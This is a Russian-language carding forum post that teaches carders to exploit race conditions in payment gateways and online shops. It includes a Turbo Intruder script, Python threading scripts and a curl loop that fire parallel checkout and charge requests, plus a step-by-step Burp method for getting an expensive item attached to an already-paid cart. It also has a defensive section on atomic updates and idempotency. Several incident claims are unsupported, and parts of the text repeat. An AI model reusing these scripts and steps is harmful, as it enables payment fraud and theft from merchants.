Good Carder
Professional
- Messages
- 938
- Reaction score
- 532
- Points
- 93
От кардера — кардерам. Большинство думает, что взломать платёжный шлюз — значит найти SQL-инъекцию или подделать JWT-токен. Но есть более элегантный способ, не требующий ни сложного реверс-инжиниринга, ни zero-day эксплойтов. Достаточно отправить два запроса в нужный момент, и система сама подарит вам товар.
В этой статье я разберу, как race condition в платежных шлюзах позволяют получать товары бесплатно, удваивать крипту и списывать средства несколько раз. Вы узнаете о типах race condition, реальных уязвимостях Stripe и Braintree, и получите готовые скрипты для тестирования.
Классическая проблема — «read-modify-write»: два запроса одновременно читают баланс, оба видят, что средств достаточно, и только потом оба списывают деньги. В результате пользователь тратит больше, чем у него было. Два запроса одновременно проверяют статус заказа, оба видят «pending» и оба подтверждают платёж. В итоге клиент платит дважды, а продавец получает двойную комиссию или, наоборот, отдаёт товар бесплатно. Две параллельных транзакции пытаются использовать один и тот же одноразовый купон или промокод, и система активирует его дважды.
Для кардера race condition — это золотая жила. Не нужно взламывать криптографию, не нужно воровать API-ключи. Достаточно просто отправить несколько запросов в нужный момент с минимальной задержкой. По данным исследования Indie Hackers, из-за race condition в Stripe-вебхуках пользователи спонтанно платили дважды, а поддержка разбирала тикеты неделями. В WordPress-плагине Woo Wallet один пользователь потратил 9.20 при балансе 2.70, просто отправив пять параллельных запросов на оформление заказа. Эти уязвимости не требуют fancy‑payload или дорогих инструментов — только умение считать миллисекунды.
Реальный пример: Woo Wallet plugin для WordPress имел критическую уязвимость, позволявшую пользователям тратить больше средств, чем у них было. Уязвимый код выглядел так: сначала вызывалась функция get_wallet_balance(), затем выполнялась проверка if ( $amount > $balance ), и только потом происходила запись дебета. Поскольку между проверкой и записью не было блокировки, несколько параллельных запросов успевали прочитать один и тот же баланс. В логах разработчика четыре дебетовые транзакции произошли в одну секунду: все они показали «баланс после операции» 0.40, потому что исходный баланс 2.70 был прочитан параллельно. В результате один пользователь потратил 9.20 при наличии всего 2.70.
В другом проекте mpp-rs (Rust-реализация мультисторонней платёжной системы) кардеры могли подделать или повторно воспроизвести запросы к эндпоинту tempo/charge, даже не завершая реальную оплату Stripe, потому что сервер не проверял, существует ли валидный платёжный intent перед обновлением кредитного баланса.
Аналогичная атака возможна и при использовании одноразовых купонов или бонусов. При параллельной отправке нескольких запросов на активацию одного купона система может применить его несколько раз, потому что каждый запрос видит, что купон ещё не использован. Stripe однажды столкнулась с подобным: кардер отправил 30 запросов на активацию скидочного предложения, и система применила скидку 30 раз, превратив 20000 в 600 000 fee‑free processing.
В одной из интеграций Stripe webhook обрабатывался идемпотентно, но из-за отсутствия атомарного «insert if not exists» в БД и использования неатомарной WordPress-меты, два параллельных вебхука одного и того же события все равно обрабатывались. Результат — двойное начисление подписки.
Ещё один случай: payment_intent.succeeded, charge.succeeded и invoice.paid приходили вразнобой, а код слепо обновлял статус подписки новейшим из них — в результате подписка могла уйти в ошибочное состояние.
Проблема может быть и на стороне самого продавца, когда один эндпоинт подтверждает платёж, а другой — активирует доступ. Если отправить запросы к обоим одновременно, пользователь может получить услугу без реальной оплаты. В mpp-rs недостаток синхронизации состояния между Stripe и in‑memory хранилищем позволял создавать неограниченное количество платных сессий без списания средств, просто подделывая userId в запросе.
В 2026 году Turbo Intruder остаётся стандартом. Stripe признала через HackerOne, что кардер использовал Burp для параллельной активации скидки: он отправил 30 запросов одновременно, и система применила скидку 30 раз.
Пошаговый PoC:
Амперсанд в фоне запускает команды параллельно, открывая дочерние процессы, которые выполняются конкурентно. Именно так в одном из кейсов кардер отправил 5 запросов на оформление заказа и потратил 11.50 при балансе 5.
Если система не защищена идемпотентностью, три потока успеют подтвердить один и тот же session_id, создав дублирующиеся транзакции с одним и тем же Stripe payment intent. Так работала проблема в WordPress-плагине Stripe: повторные попытки при таймауте создавали дублирующиеся платежи, потому что ключ идемпотентности генерировался заново при каждом вызове, а не сохранялся для ретрая.
Stripe предоставляет механизм идемпотентности: нужно передать заголовок Idempotency-Key. Stripe гарантирует, что запросы с одинаковым ключом будут обработаны только один раз. Ошибки интеграции (например, когда ключ генерируется заново при каждом ретрае вместо того, чтобы сохраняться и переиспользоваться) приводят к дублирующимся платежам. Идемпотентность должна распространяться на всю систему, а не только на внешний API.
Если затронуто ноль строк, значит, средств недостаточно.
В WordPress-плагине Woo Wallet атомарная команда выглядела бы так:
При параллельных запросах только один из них обновит строку, остальные увидят, что баланс уже уменьшен, и не пройдут.
Затем делать атомарную вставку с ON CONFLICT:
Если вставка прошла — обрабатываем запрос. Если нет — возвращаем сохранённый результат.
Также важен контроль порядка событий: отслеживать временные метки Stripe и применять обновления только если новое событие свежее.
Если версия не совпала — значит, другой параллельный запрос уже обновил запись. Запрос возвращает 0 затронутых строк, и обработчик понимает, что гонку проиграл.
Патч выглядит так: сервер проверяет Idempotent-Replayed и, если он присутствует, отказывается обрабатывать запрос повторно. Без такой проверки кардер может один раз заплатить, а потом пересылать тот же платёжный токен бесконечно, пока не исчерпает все ресурсы продавца.
Быстрая памятка на одну строку:
«Race condition — это не баг, а фича, если ты умеешь считать миллисекунды. Double-spend рождается в двух параллельных UPDATE, мульти-эндпоинт — в асинхронном добавлении корзины, вебхуки дублируются при таймауте. Turbo Intruder ловит гонку за секунды, Burp Parallel группирует запросы. Атомарный UPDATE с условием balance >= amount убивает double-spend, очередь с ключом заказа разбивает вебхуки. Stripe даёт идемпотентность — магазины игнорируют её. Ваш профит — в чужой небрежности».
В этой статье я разберу, как race condition в платежных шлюзах позволяют получать товары бесплатно, удваивать крипту и списывать средства несколько раз. Вы узнаете о типах race condition, реальных уязвимостях Stripe и Braintree, и получите готовые скрипты для тестирования.
Часть 1. Гонка, которую выигрывает кардер
Race condition (состояние гонки) — это ситуация, когда два или более параллельных запроса пытаются изменить один и тот же ресурс одновременно, а система не успевает корректно обработать порядок операций. В платёжных системах это приводит к тому, что проверка баланса и его списание происходят не атомарно.Классическая проблема — «read-modify-write»: два запроса одновременно читают баланс, оба видят, что средств достаточно, и только потом оба списывают деньги. В результате пользователь тратит больше, чем у него было. Два запроса одновременно проверяют статус заказа, оба видят «pending» и оба подтверждают платёж. В итоге клиент платит дважды, а продавец получает двойную комиссию или, наоборот, отдаёт товар бесплатно. Две параллельных транзакции пытаются использовать один и тот же одноразовый купон или промокод, и система активирует его дважды.
Для кардера race condition — это золотая жила. Не нужно взламывать криптографию, не нужно воровать API-ключи. Достаточно просто отправить несколько запросов в нужный момент с минимальной задержкой. По данным исследования Indie Hackers, из-за race condition в Stripe-вебхуках пользователи спонтанно платили дважды, а поддержка разбирала тикеты неделями. В WordPress-плагине Woo Wallet один пользователь потратил 9.20 при балансе 2.70, просто отправив пять параллельных запросов на оформление заказа. Эти уязвимости не требуют fancy‑payload или дорогих инструментов — только умение считать миллисекунды.
Часть 2. Типы race condition и реальные примеры
2.1. Double-spend: как потратить больше, чем есть
Самый распространённый тип. Пользователь с ограниченным балансом отправляет два или более запросов на списание одновременно. Система проверяет баланс для каждого запроса, используя одно и то же исходное значение, после чего все запросы успешно проходят, а баланс уходит в минус.Реальный пример: Woo Wallet plugin для WordPress имел критическую уязвимость, позволявшую пользователям тратить больше средств, чем у них было. Уязвимый код выглядел так: сначала вызывалась функция get_wallet_balance(), затем выполнялась проверка if ( $amount > $balance ), и только потом происходила запись дебета. Поскольку между проверкой и записью не было блокировки, несколько параллельных запросов успевали прочитать один и тот же баланс. В логах разработчика четыре дебетовые транзакции произошли в одну секунду: все они показали «баланс после операции» 0.40, потому что исходный баланс 2.70 был прочитан параллельно. В результате один пользователь потратил 9.20 при наличии всего 2.70.
В другом проекте mpp-rs (Rust-реализация мультисторонней платёжной системы) кардеры могли подделать или повторно воспроизвести запросы к эндпоинту tempo/charge, даже не завершая реальную оплату Stripe, потому что сервер не проверял, существует ли валидный платёжный intent перед обновлением кредитного баланса.
2.2. Multi-endpoint race condition: когда атака идёт по двум фронтам
Более изощрённая атака, когда два разных API-эндпоинта обрабатывают связанные операции без синхронизации. Например, один эндпоинт добавляет товар в корзину, другой — подтверждает оформление. Если отправить запрос на добавление дорогого товара одновременно с запросом на оформление (в котором ещё нет этого товара), можно провернуть следующий трюк: на старте в корзине лежит только Gift Card. Параллельно отправляются два запроса — на оформление текущей корзины и на добавление дорогого товара. Запрос на оформление видит, что итоговая сумма не превышает баланс, а добавление товара обновляет корзину уже после подтверждения оформления. В результате дорогой товар «прилипает» к уже оплаченному заказу, и уходит бесплатно.Аналогичная атака возможна и при использовании одноразовых купонов или бонусов. При параллельной отправке нескольких запросов на активацию одного купона система может применить его несколько раз, потому что каждый запрос видит, что купон ещё не использован. Stripe однажды столкнулась с подобным: кардер отправил 30 запросов на активацию скидочного предложения, и система применила скидку 30 раз, превратив 20000 в 600 000 fee‑free processing.
2.3. Race condition в вебхуках: когда Stripe сам себе враг
Stripe отправляет вебхуки как минимум один раз, а в случае таймаута повторяет их — стандартная схема. Но если обработчик вебхука не идемпотентен, повторный вызов того же события приведёт к повторному списанию или начислению. Классическая проблема: два события приходят почти одновременно, оба видят заказ в статусе pending, и оба подтверждают платеж. Клиент платит дважды, а продавец в шоке. Разбор инцидента показал: Stripe по умолчанию не считает вебхук успешно доставленным, пока не получит 200 OK. Если ваш обработчик тормозит больше 300 мс, Stripe отправляет повтор, и если не защититься от дублей, то клиент получает второй чардж.В одной из интеграций Stripe webhook обрабатывался идемпотентно, но из-за отсутствия атомарного «insert if not exists» в БД и использования неатомарной WordPress-меты, два параллельных вебхука одного и того же события все равно обрабатывались. Результат — двойное начисление подписки.
Ещё один случай: payment_intent.succeeded, charge.succeeded и invoice.paid приходили вразнобой, а код слепо обновлял статус подписки новейшим из них — в результате подписка могла уйти в ошибочное состояние.
Проблема может быть и на стороне самого продавца, когда один эндпоинт подтверждает платёж, а другой — активирует доступ. Если отправить запросы к обоим одновременно, пользователь может получить услугу без реальной оплаты. В mpp-rs недостаток синхронизации состояния между Stripe и in‑memory хранилищем позволял создавать неограниченное количество платных сессий без списания средств, просто подделывая userId в запросе.
Часть 3. Инструментарий: как обнаружить и эксплуатировать
Для эксплуатации race condition нужны инструменты, позволяющие отправлять параллельные запросы с точным таймингом.3.1. Burp Suite Turbo Intruder
Python-скрипт внутри Burp для высокоскоростной параллельной отправки:
Python:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=50,
requestsPerConnection=100,
pipeline=False)
for i in range(50):
engine.queue(target.req, i)
engine.start()
В 2026 году Turbo Intruder остаётся стандартом. Stripe признала через HackerOne, что кардер использовал Burp для параллельной активации скидки: он отправил 30 запросов одновременно, и система применила скидку 30 раз.
3.2. Parallel group в Burp Repeater
Можно вручную сгруппировать два запроса и выбрать режим «Send group (parallel)» — это создаёт задержку в несколько миллисекунд между отправкой пакетов, которая и вызывает race condition.Пошаговый PoC:
- Логинимся с балансом $100.
- Добавляем в корзину Gift Card.
- Перехватываем запрос на добавление в корзину дорогого товара и запрос на подтверждение заказа в Burp Repeater.
- В корзине оставляем только Gift Card.
- Устанавливаем метод отправки группы: «Send group (parallel)».
- Запускаем параллельную отправку: запрос на добавление дорогого товара и запрос на подтверждение корзины идут одновременно.
- Дорогой товар «прилипает» к уже оплаченному заказу, а баланс списывается только за Gift Card.
3.3. Python-скрипт с threading
Python:
import requests
import threading
def purchase(url, payload):
r = requests.post(url, json=payload)
print(f"Status: {r.status_code}")
url = "https://target.com/checkout"
payload = {"product_id": 1, "quantity": 1}
threads = []
for i in range(10):
t = threading.Thread(target=purchase, args=(url, payload))
threads.append(t)
t.start()
for t in threads:
t.join()
3.4. Асинхронный режим в cURL
Bash:
for i in {1..10}; do curl -X POST https://target.com/api/charge -d '{"amount":100}' & done
Амперсанд в фоне запускает команды параллельно, открывая дочерние процессы, которые выполняются конкурентно. Именно так в одном из кейсов кардер отправил 5 запросов на оформление заказа и потратил 11.50 при балансе 5.
3.5. Тестовый скрипт для Stripe checkout (PoC)
Python:
import requests
import threading
def complete_checkout(session_id, payload):
r = requests.post(f"https://target.com/complete/{session_id}", json=payload)
print(f"Completed: {session_id}")
session_id = "cs_test_123"
payload = {"payment_method_id": "pm_123"}
threads = []
for i in range(3):
t = threading.Thread(target=complete_checkout, args=(session_id, payload))
threads.append(t)
t.start()
Если система не защищена идемпотентностью, три потока успеют подтвердить один и тот же session_id, создав дублирующиеся транзакции с одним и тем же Stripe payment intent. Так работала проблема в WordPress-плагине Stripe: повторные попытки при таймауте создавали дублирующиеся платежи, потому что ключ идемпотентности генерировался заново при каждом вызове, а не сохранялся для ретрая.
Часть 4. Защита от race condition
Если вы кардер, который разрабатывает интеграцию с платёжным шлюзом, ознакомьтесь со следующей информацией:4.1. Идемпотентные ключи в API
Atomic insert гарантирует, что из двух параллельных запросов с одинаковым ключом только один пройдёт, а второй вернёт уже сохранённый результат.Stripe предоставляет механизм идемпотентности: нужно передать заголовок Idempotency-Key. Stripe гарантирует, что запросы с одинаковым ключом будут обработаны только один раз. Ошибки интеграции (например, когда ключ генерируется заново при каждом ретрае вместо того, чтобы сохраняться и переиспользоваться) приводят к дублирующимся платежам. Идемпотентность должна распространяться на всю систему, а не только на внешний API.
4.2. Атомарные обновления в БД
Вместо чтения баланса в память, затем проверки и обновления — выполнять всё одной атомарной SQL-командой:
SQL:
UPDATE wallets SET balance = balance - ? WHERE user_id = ? AND balance >= ?;
Если затронуто ноль строк, значит, средств недостаточно.
В WordPress-плагине Woo Wallet атомарная команда выглядела бы так:
SQL:
UPDATE wallets SET balance = balance - 2.30 WHERE user_id = X AND balance >= 2.30;
При параллельных запросах только один из них обновит строку, остальные увидят, что баланс уже уменьшен, и не пройдут.
4.3. Уникальный индекс на idempotency_key
В БД нужно хранить таблицу идемпотентности:
SQL:
CREATE TABLE idempotency_keys (
key TEXT PRIMARY KEY,
response JSONB,
created_at TIMESTAMP DEFAULT NOW()
);
Затем делать атомарную вставку с ON CONFLICT:
SQL:
INSERT INTO idempotency_keys (key) VALUES ($1) ON CONFLICT (key) DO NOTHING;
Если вставка прошла — обрабатываем запрос. Если нет — возвращаем сохранённый результат.
4.4. Single worker + очередь для обработки вебхуков
Разделение синхронного подтверждения и асинхронной бизнес-логики. Вебхук должен только верифицировать событие и поставить задачу в очередь. Один воркер обрабатывает задачи последовательно. Это исключает race condition, потому что в один момент времени обрабатывается только одна транзакция по одному объекту.Также важен контроль порядка событий: отслеживать временные метки Stripe и применять обновления только если новое событие свежее.
4.5. Оптимистичная блокировка (optimistic locking)
Добавить в таблицу заказов поле version. При обновлении проверять, что версия не изменилась:
SQL:
UPDATE orders SET status = 'paid', version = version + 1 WHERE id = ? AND version = ?;
Если версия не совпала — значит, другой параллельный запрос уже обновил запись. Запрос возвращает 0 затронутых строк, и обработчик понимает, что гонку проиграл.
4.6. Очереди с ключом партиционирования
Гарантия единственного писателя на Stripe-объект: очередь, где ключом является event.data.object.id, гарантирует, что задачи по одному заказу никогда не обрабатываются параллельно. Если один обработчик уже работает, второй просто ждёт. Даже если Stripe пришлёт два дублирующихся вебхука одновременно, они не вызовут двойной записи.4.7. Проверка заголовка Idempotent-Replayed
Stripe может отправить заголовок Idempotent-Replayed — это прямое указание, что предыдущий запрос с таким же ключом уже был обработан и ответ повторяется повторно из кэша. Игнорирование этого заголовка приводило к повторному зачислению средств без реального платежа.Патч выглядит так: сервер проверяет Idempotent-Replayed и, если он присутствует, отказывается обрабатывать запрос повторно. Без такой проверки кардер может один раз заплатить, а потом пересылать тот же платёжный токен бесконечно, пока не исчерпает все ресурсы продавца.
4.8. Ограничение скорости
Даже без идеальной синхронизации, rate limiting на уровне пользователя может разорвать цепочку параллельных запросов. Если пользователь отправляет больше 5 запросов в секунду на платёжный эндпоинт, блокировать его на минуту — это не решит проблему, но усложнит массовую эксплуатацию.4.9. Трёхуровневая модель надёжности
Описанная выше модель включает три компонента: оптимистичный переход состояния в БД, идемпотентный ключ для внешнего API и фоновую джобу для сверки со Stripe. Даже если обработчик вебхука упадёт после фиксации status = 'processing', джоба сможет опросить Stripe по ключу идемпотентности и перевести заказ в корректное состояние. Без такого резерва заказы могут навсегда зависнуть в обработке.Резюме
Race condition в платежных шлюзах — это не прихоть судьбы, а системная проблема, которую можно систематически эксплуатировать. Double-spend через параллельные запросы, multi-endpoint атаки для бесплатной корзины, идемпотентность на уровне БД и очереди для вебхуков — вот ваше оружие. Stripe и Braintree защищены на уровне API, но их клиенты (магазины, плагины) почти всегда имеют собственные уязвимости. Какой бы сложной ни была криптография платежей, атомарность операций с базой данных всё ещё нарушают банальные гонки потоков.Быстрая памятка на одну строку:
«Race condition — это не баг, а фича, если ты умеешь считать миллисекунды. Double-spend рождается в двух параллельных UPDATE, мульти-эндпоинт — в асинхронном добавлении корзины, вебхуки дублируются при таймауте. Turbo Intruder ловит гонку за секунды, Burp Parallel группирует запросы. Атомарный UPDATE с условием balance >= amount убивает double-spend, очередь с ключом заказа разбивает вебхуки. Stripe даёт идемпотентность — магазины игнорируют её. Ваш профит — в чужой небрежности».